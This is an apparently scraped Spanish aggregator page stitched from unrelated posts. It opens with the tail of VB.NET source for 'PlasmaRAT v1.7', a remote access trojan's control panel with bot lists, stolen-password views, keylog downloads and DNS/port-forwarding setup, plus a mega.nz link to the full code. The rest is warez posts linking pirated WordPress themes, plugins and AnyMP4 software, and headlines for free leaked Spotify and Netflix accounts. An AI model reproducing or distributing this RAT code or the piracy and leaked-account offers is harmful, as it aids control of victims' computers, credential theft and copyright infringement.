            SaveSetting("PlasmaRAT", "Config", "LowBandwidth", String.Empty)
        End If

        If LowBandwidth.Checked = True Then
            Ping.Interval = 300000
        Else
            Ping.Interval = 60000
        End If
    End Sub

    Private Sub Button19_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button19.Click
        Process.Start("http://plasma.bz/forums/")
    End Sub

    Private Sub SingleConnection_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SingleConnection.MouseClick
        If SingleConnection.Checked = True Then
            SaveSetting("PlasmaRAT", "Config", "SingleConnection", String.Empty)
        Else
            SaveSetting("PlasmaRAT", "Config", "SingleConnection", "Disabled")
        End If
    End Sub

    Private Sub PingPong_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PingPong.MouseClick
        If PingPong.Checked = True Then
            SaveSetting("PlasmaRAT", "Config", "PingPong", String.Empty)
        Else
            SaveSetting("PlasmaRAT", "Config", "PingPong", "Disabled")
        End If
    End Sub

    Private Sub ClientOnError_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ClientOnError.MouseClick
        If ClientOnError.Checked = True Then
            SaveSetting("PlasmaRAT", "Config", "DisconnectonError", String.Empty)
        Else
            SaveSetting("PlasmaRAT", "Config", "DisconnectonError", "Disabled")
        End If
    End Sub
    Private Sub SortBotListView(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles BotListView.ColumnClick
        ' Get the new sorting column.
        Dim new_sorting_column As ColumnHeader = BotListView.Columns(e.Column)
        ' Figure out the new sorting order.
        Dim sort_order As System.Windows.Forms.SortOrder
        If BotViewSort Is Nothing Then
            ' New column. Sort ascending.
            sort_order = SortOrder.Ascending
        Else ' See if this is the same column.
            If new_sorting_column.Equals(BotViewSort) Then
                ' Same column. Switch the sort order.
                If BotViewSort.Text.StartsWith("> ") Then
                    sort_order = SortOrder.Descending
                Else
                    sort_order = SortOrder.Ascending
                End If
            Else
                ' New column. Sort ascending.
                sort_order = SortOrder.Ascending
            End If
            ' Remove the old sort indicator.
            BotViewSort.Text = BotViewSort.Text.Substring(2)
        End If
        ' Display the new sort order.
        BotViewSort = new_sorting_column
        If sort_order = SortOrder.Ascending Then
            BotViewSort.Text = "> " & BotViewSort.Text
        Else
            BotViewSort.Text = "< " & BotViewSort.Text
        End If
        ' Create a comparer.
        BotListView.ListViewItemSorter = New clsListviewSorter(e.Column, sort_order)
        ' Sort.
        BotListView.Sort()
    End Sub
    Private Sub LogViewSort(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles LogView.ColumnClick
        ' Get the new sorting column.
        Dim new_sorting_column As ColumnHeader = LogView.Columns(e.Column)
        ' Figure out the new sorting order.
        Dim sort_order As System.Windows.Forms.SortOrder
        If LogViewerSort Is Nothing Then
            ' New column. Sort ascending.
            sort_order = SortOrder.Ascending
        Else ' See if this is the same column.
            If new_sorting_column.Equals(LogViewerSort) Then
                ' Same column. Switch the sort order.
                If LogViewerSort.Text.StartsWith("> ") Then
                    sort_order = SortOrder.Descending
                Else
                    sort_order = SortOrder.Ascending
                End If
            Else
                ' New column. Sort ascending.
                sort_order = SortOrder.Ascending
            End If
            ' Remove the old sort indicator.
            LogViewerSort.Text = LogViewerSort.Text.Substring(2)
        End If
        ' Display the new sort order.
        LogViewerSort = new_sorting_column
        If sort_order = SortOrder.Ascending Then
            LogViewerSort.Text = "> " & LogViewerSort.Text
        Else
            LogViewerSort.Text = "< " & LogViewerSort.Text
        End If
        ' Create a comparer.
        LogView.ListViewItemSorter = New clsListviewSorter(e.Column, sort_order)
        ' Sort.
        LogView.Sort()
    End Sub
    Private Sub ListView1_ColumnClick(ByVal sender As Object, ByVal e As System.Windows.Forms.ColumnClickEventArgs) Handles PasswordListView.ColumnClick
        ' Get the new sorting column.
        Dim new_sorting_column As ColumnHeader = PasswordListView.Columns(e.Column)
        ' Figure out the new sorting order.
        Dim sort_order As System.Windows.Forms.SortOrder
        If PasswordViewSort Is Nothing Then
            ' New column. Sort ascending.
            sort_order = SortOrder.Ascending
        Else ' See if this is the same column.
            If new_sorting_column.Equals(PasswordViewSort) Then
                ' Same column. Switch the sort order.
                If PasswordViewSort.Text.StartsWith("> ") Then
                    sort_order = SortOrder.Descending
                Else
                    sort_order = SortOrder.Ascending
                End If
            Else
                ' New column. Sort ascending.
                sort_order = SortOrder.Ascending
            End If
            ' Remove the old sort indicator.
            PasswordViewSort.Text = PasswordViewSort.Text.Substring(2)
        End If
        ' Display the new sort order.
        PasswordViewSort = new_sorting_column
        If sort_order = SortOrder.Ascending Then
            PasswordViewSort.Text = "> " & PasswordViewSort.Text
        Else
            PasswordViewSort.Text = "< " & PasswordViewSort.Text
        End If
        ' Create a comparer.
        PasswordListView.ListViewItemSorter = New clsListviewSorter(e.Column, sort_order)
        ' Sort.
        PasswordListView.Sort()
    End Sub

    Private Sub ToolStripMenuItem16_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripMenuItem16.Click
        SendToSelected("RECONNECT")
    End Sub

    Private Sub DownloadKeylogsToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DownloadKeylogsToolStripMenuItem.Click

    End Sub

    Private Sub PortForwardingTestToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PortForwardingTestToolStripMenuItem.Click
        MessageBox.Show("Be sure to listen on the port before testing it!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Information)
        Process.Start("http://canyouseeme.org/")
    End Sub

    Private Sub Button17_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button17.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=2")
    End Sub

    Private Sub Button10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button10.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=304")
    End Sub

    Private Sub Button9_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button9.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=383")
    End Sub

    Private Sub Button12_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=11")
    End Sub

    Private Sub ConnectionHelpToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ConnectionHelpToolStripMenuItem.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=6")
    End Sub

    Private Sub Button20_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TestBackupDNS.Click
        Try
            Dim DNSIP = System.Net.Dns.GetHostByName(BackupDNS.Text).AddressList(0).ToString()
            Dim w As New System.Net.WebClient()
            Dim ip As String = w.DownloadString("http://api.wipmania.com/")
            Dim lol() = Split(ip, "<br>")
            Dim xd = lol(0)

            If DNSIP = xd Then
                MessageBox.Show("Your DNS is valid and resolves to your IP!", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)
            Else
                MessageBox.Show("Your DNS is valid, but does not resolve to your IP. Your DNS may need time to update.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning)
            End If

        Catch ex As Exception
            MessageBox.Show("Unable to test DNS. You probably typed in an invalid DNS, or your internet is offline. Error info: " & vbNewLine & ex.ToString, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
        End Try
    End Sub

    Private Sub EnableBackupDNS_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles EnableBackupDNS.Click
        If EnableBackupDNS.Checked = True Then
            TestBackupDNS.Enabled = True
            BackupDNS.Enabled = True
        Else
            TestBackupDNS.Enabled = False
            BackupDNS.Enabled = False
        End If
    End Sub

 
    Private Sub BackupDNS_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BackupDNS.Click
        If BackupDNS.Text = "example.no-ip.org" Then BackupDNS.Text = String.Empty
    End Sub

    Private Sub Button18_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button18.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=381")
    End Sub

    Private Sub Button11_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button11.Click
        Process.Start("http://plasma.bz/forums/showthread.php?tid=382")
    End Sub
End Class

Capturas de Pantalla











mega.nz - [Code] PlasmaRAT v1.7

Yithemes All Themes & Plugins Pack - Wordpress

$
0
0


Yithemes All Themes & Plugins Pack - Wordpress | 249 MB

Desarrollamos innovadores temas de WordPress y plugins para el comercio electrónico, la cartera, sitios corporativos, blogs y comunidades. Somos uno de los más vendidos y ThemeForest durante años nuestra filosofía se ha basado en la simplicidad, la belleza y el 100% de efectividad.

Código:

página del producto: https://yithemes.com/product-category/wordpress/
Comes With The Following Wordpress Themes:

THE POLYGON - THE ULTIMATE WORDPRESS THEME FOR DIGITAL GOODS AND PRO GAMERS
REMY - A SIMPLE AND TASTY FOOD AND RESTAURANT WORDPRESS THEME
DESIRE SEXY SHOP - AN INTRIGUING WORDPRESS THEME FOR A SITE AS STRONG AS EASY TO USE
IRIS - FREE INTERIOR DESIGN WORDPRESS THEME
PANAREA - RESTAURANT AND FOOD WORDPRESS THEME
GLOBE - HI-TECH WORDPRESS E-COMMERCE THEME
SANTA CRUZ - SELL EVERYTHING WITH LOVE
KIDSHOP - A CREATIVE KID'S ECOMMERCE THEME
THE JEWELRY SHOP - A LUXURIOUS AND ELEGANT THEME TO SELL YOUR PRODUCTS
PETSHOPPER - ECOMMERCE THEME FOR PETS PRODUCTS
PANTHEA - MINIMAL WOOCOMMERCE THEME
SOCUTE - MULTI-PURPOSE E-COMMERCE THEME
BOEMIA - THE BEST WORDPRESS ECOMMERCE THEME
CELESTINO - CLEAN AND CREATIVE PORTFOLIO THEME

Comes With The Following Wordpress Plugins:

YITH BEST PRICE GUARANTEED FOR WOOCOMMERCE
YITH COMPOSITE PRODUCTS FOR WOOCOMMERCE
YITH PRE-ORDER FOR WOOCOMMERCE
YITH BOOKING FOR WOOCOMMERCE
YITH WORDPRESS TEST ENVIRONMENT
YITH AUCTIONS FOR WOOCOMMERCE
YITH DESKTOP NOTIFICATIONS FOR WOOCOMMERCE
YITH AUTOMATIC ROLE CHANGER FOR WOOCOMMERCE
YITH WOOCOMMERCE CHECKOUT DEALS
YITH WOOCOMMERCE EVENT TICKETS
YITH WOOCOMMERCE FRONTEND MANAGER
YITH WOOCOMMERCE DELIVERY DATE
YITH WOOCOMMERCE ACTIVE CAMPAIGN
YITH WOOCOMMERCE CUSTOMER HISTORY
YITH WOOCOMMERCE SMS NOTIFICATIONS
YITH WOOCOMMERCE PAYPAL ADAPTIVE PAYMENTS
YITH WOOCOMMERCE IDEAS
YITH WOOCOMMERCE BARCODES AND QR CODES
YITH WOOCOMMERCE ACCOUNT FUNDS
YITH WOOCOMMERCE CHECKOUT MANAGER
YITH WOOCOMMERCE QUICK CHECKOUT FOR DIGITAL GOODS
YITH WOOCOMMERCE PRODUCT ADD-ONS
YITH WOOCOMMERCE ROLE BASED PRICES
YITH WOOCOMMERCE PENDING ORDER SURVEY
YITH WOOCOMMERCE REVIEW FOR DISCOUNTS
YITH WOOCOMMERCE SURVEYS
YITH WOOCOMMERCE DEPOSITS AND DOWN PAYMENTS
YITH WOOCOMMERCE SUBSCRIPTION
YITH WOOCOMMERCE MEMBERSHIP
YITH WOOCOMMERCE CUSTOMIZE MY ACCOUNT PAGE
YITH WOOCOMMERCE NAME YOUR PRICE
YITH WOOCOMMERCE ANTI-FRAUD
YITH WOOCOMMERCE GIFT CARDS
YITH WOOCOMMERCE WATERMARK
YITH WOOCOMMERCE RECENTLY VIEWED PRODUCTS
YITH WOOCOMMERCE ONE-CLICK CHECKOUT
YITH WOOCOMMERCE POINTS AND REWARDS
YITH WOOCOMMERCE MINIMUM MAXIMUM QUANTITY
YITH WOOCOMMERCE FEATURED AUDIO & VIDEO CONTENT
YITH WOOCOMMERCE EU ENERGY LABEL
YITH WOOCOMMERCE BEST SELLERS
YITH WOOCOMMERCE SHARE FOR DISCOUNTS
YITH PRODUCT SIZE CHARTS FOR WOOCOMMERCE
YITH WOOCOMMERCE BULK PRODUCT EDITING
YITH WOOCOMMERCE UPLOADS
YITH DONATIONS FOR WOOCOMMERCE
YITH WOOCOMMERCE AFFILIATES
YITH WOOCOMMERCE RECOVER ABANDONED CART
YITH WOOCOMMERCE ADDED TO CART POPUP
YITH WOOCOMMERCE MULTI-STEP CHECKOUT
YITH WOOCOMMERCE PRODUCT BUNDLES
YITH WOOCOMMERCE COUPON EMAIL SYSTEM
YITH WOOCOMMERCE COMPARE
YITH WOOCOMMERCE CUSTOM ORDER STATUS
YITH WOOCOMMERCE EMAIL TEMPLATES
YITH WOOCOMMERCE CATEGORY ACCORDION
YITH WOOCOMMERCE DYNAMIC PRICING AND DISCOUNTS
YITH WOOCOMMERCE QUESTIONS AND ANSWERS
YITH WOOCOMMERCE PRODUCT COUNTDOWN
YITH WOOCOMMERCE AJAX PRODUCT FILTER
YITH WOOCOMMERCE BRANDS ADD-ON
YITH WOOCOMMERCE PRODUCT SLIDER CAROUSEL
YITH WOOCOMMERCE COLOR AND LABEL VARIATIONS
YITH WOOCOMMERCE POPUP
YITH WOOCOMMERCE SAVE FOR LATER
YITH WOOCOMMERCE QUICK EXPORT
YITH WOOCOMMERCE FREQUENTLY BOUGHT TOGETHER
YITH WOOCOMMERCE SEQUENTIAL ORDER NUMBER
YITH LIVE CHAT
YITH WOOCOMMERCE BADGE MANAGEMENT
YITH WOOCOMMERCE TAB MANAGER
YITH WOOCOMMERCE MULTI VENDOR
YITH WOOCOMMERCE SOCIAL LOGIN
YITH WOOCOMMERCE WAITING LIST
YITH WOOCOMMERCE MAILCHIMP
YITH WOOCOMMERCE EU VAT
YITH WOOCOMMERCE REQUEST A QUOTE
YITH WOOCOMMERCE ZOOM MAGNIFIER
YITH INFINITE SCROLLING
YITH WOOCOMMERCE TERMS AND CONDITIONS POPUP
YITH WOOCOMMERCE AUTHORIZE.NET PAYMENT GATEWAY
YITH WOOCOMMERCE STRIPE
YITH WOOCOMMERCE CATALOG MODE
YITH WOOCOMMERCE QUICK VIEW
YITH WOOCOMMERCE PDF INVOICE AND SHIPPING LIST
YITH WOOCOMMERCE WISHLIST
YITH WOOCOMMERCE REVIEW REMINDER
YITH WOOCOMMERCE CART MESSAGES
YITH WOOCOMMERCE ORDER TRACKING
YITH WOOCOMMERCE ADVANCED REVIEWS
YITH WOOCOMMERCE AJAX SEARCH
YITH WOOCOMMERCE TOPBAR COUNTDOWN
YITH WORDPRESS TEST ENVIRONMENT
YITH LIVE CHAT
YITH INFINITE SCROLLING

Download Links:

Código:

http://ul.to/72khhrl4
Código:

http://www.filefactory.com/file/5rsop6z2m967/Yithemes%20All%20Themes%20%26amp%3B%20Plugins%20Pack%20-%20Wordpress.zip
Código:

http://turbobit.net/nrfvn02lijml.html
Código:

http://depositfiles.com/files/fg5wkaqcc

WP Residence v1.17 - Real Estate WordPress Theme

$
0
0


WP Residence v1.17 - Real Estate WordPress Theme | 56.2 MB

WP Residence es un tema Premium Real Estate diseñada para los agentes y las agencias independientes de bienes raíces, pero también puede permitir a otras personas para que presenten sus propiedades de forma gratuita, por una cuota o en base a una suscripción mensual. Tiene un diseño agradable y limpio de usuario, fácil de personalizar las opciones de tema.

Código:

página del producto: https://themeforest.net/item/wp-residence-real-estate-wordpress-theme/7896392
Download Links:

Código:

http://ul.to/99a88jgs
Código:

http://www.filefactory.com/file/2s297r9h0gj5/WP%20Residence%20v1.17%20-%20Real%20Estate%20WordPress%20Theme.zip
Código:

http://turbobit.net/hqara74elt0v.html
Código:

http://depositfiles.com/files/uvtuljpq7

[25/09/2016] Premium Accounts JDownloader2 [3 DATABASE]

Free premium accounts [spotify + netflix][25/09/2016]

AnyMP4 iPhone Data Recovery v7.5.22

$
0
0


AnyMP4 iPhone Data Recovery v7.5.22 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 24.67 MB ]

Descripción:

Con esta mágica iPhone de recuperación de datos puede llevar fácilmente de nuevo su precioso "memoria" y los datos importantes perdidos debido a la eliminación accidental, fuga de la cárcel, la actualización iOS estrelló, o el dispositivo iOS perdido o dañado etc. Directamente recuperar los datos borrados de iPhone 6 / 6 Plus / 5S / 5C / 5 / 4S / 4 / 3GS, el iPhone 4 / Mini / 3, iPod touch, totalmente compatible con iOS 8. Recuperar fotos perdidas y eliminadas, mensajes de texto, contactos, vídeos, notas, fotos y mucho más de iPhone, iPad, iPod. Restaurar datos iPhone / iPad / iPod incluyendo fotos, contactos, mensajes, videos y mucho más desde iTunes copia de seguridad. Vista previa y recuperar sus archivos borrados en la interfaz principal antes de la recuperación.

Capturas:


Características:

Versátil IOS de recuperación de datos para mantener en el iPhone, iPad, iPod
El único del iPhone de recuperación de datos para manejar cualquier situación
Todo está en su copia de seguridad de iTunes
Recuperar todos los datos de copia de seguridad de iTunes

Idioma: Multilenguaje Incluye Español
Compreso con Winrar

AnyMP4 iPhone Data Recovery v7.5.22 [Multi+Español]
[ RAR | Install | Win: 7/8/8.1/10 | 24.67 MB ]




**Uploaded:

http://ul.to/fsnm955h

**Faststore:

http://faststore.org/ah20ech6tug0

**Bigfile:

https://www.bigfile.to/file/bqkMqXdbfv6v

**Rockfile:

http://rockfile.eu/nzuvcmosf14k.html


Deja Un Comentario - Comentar es Alentar
Viewing all 11602 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>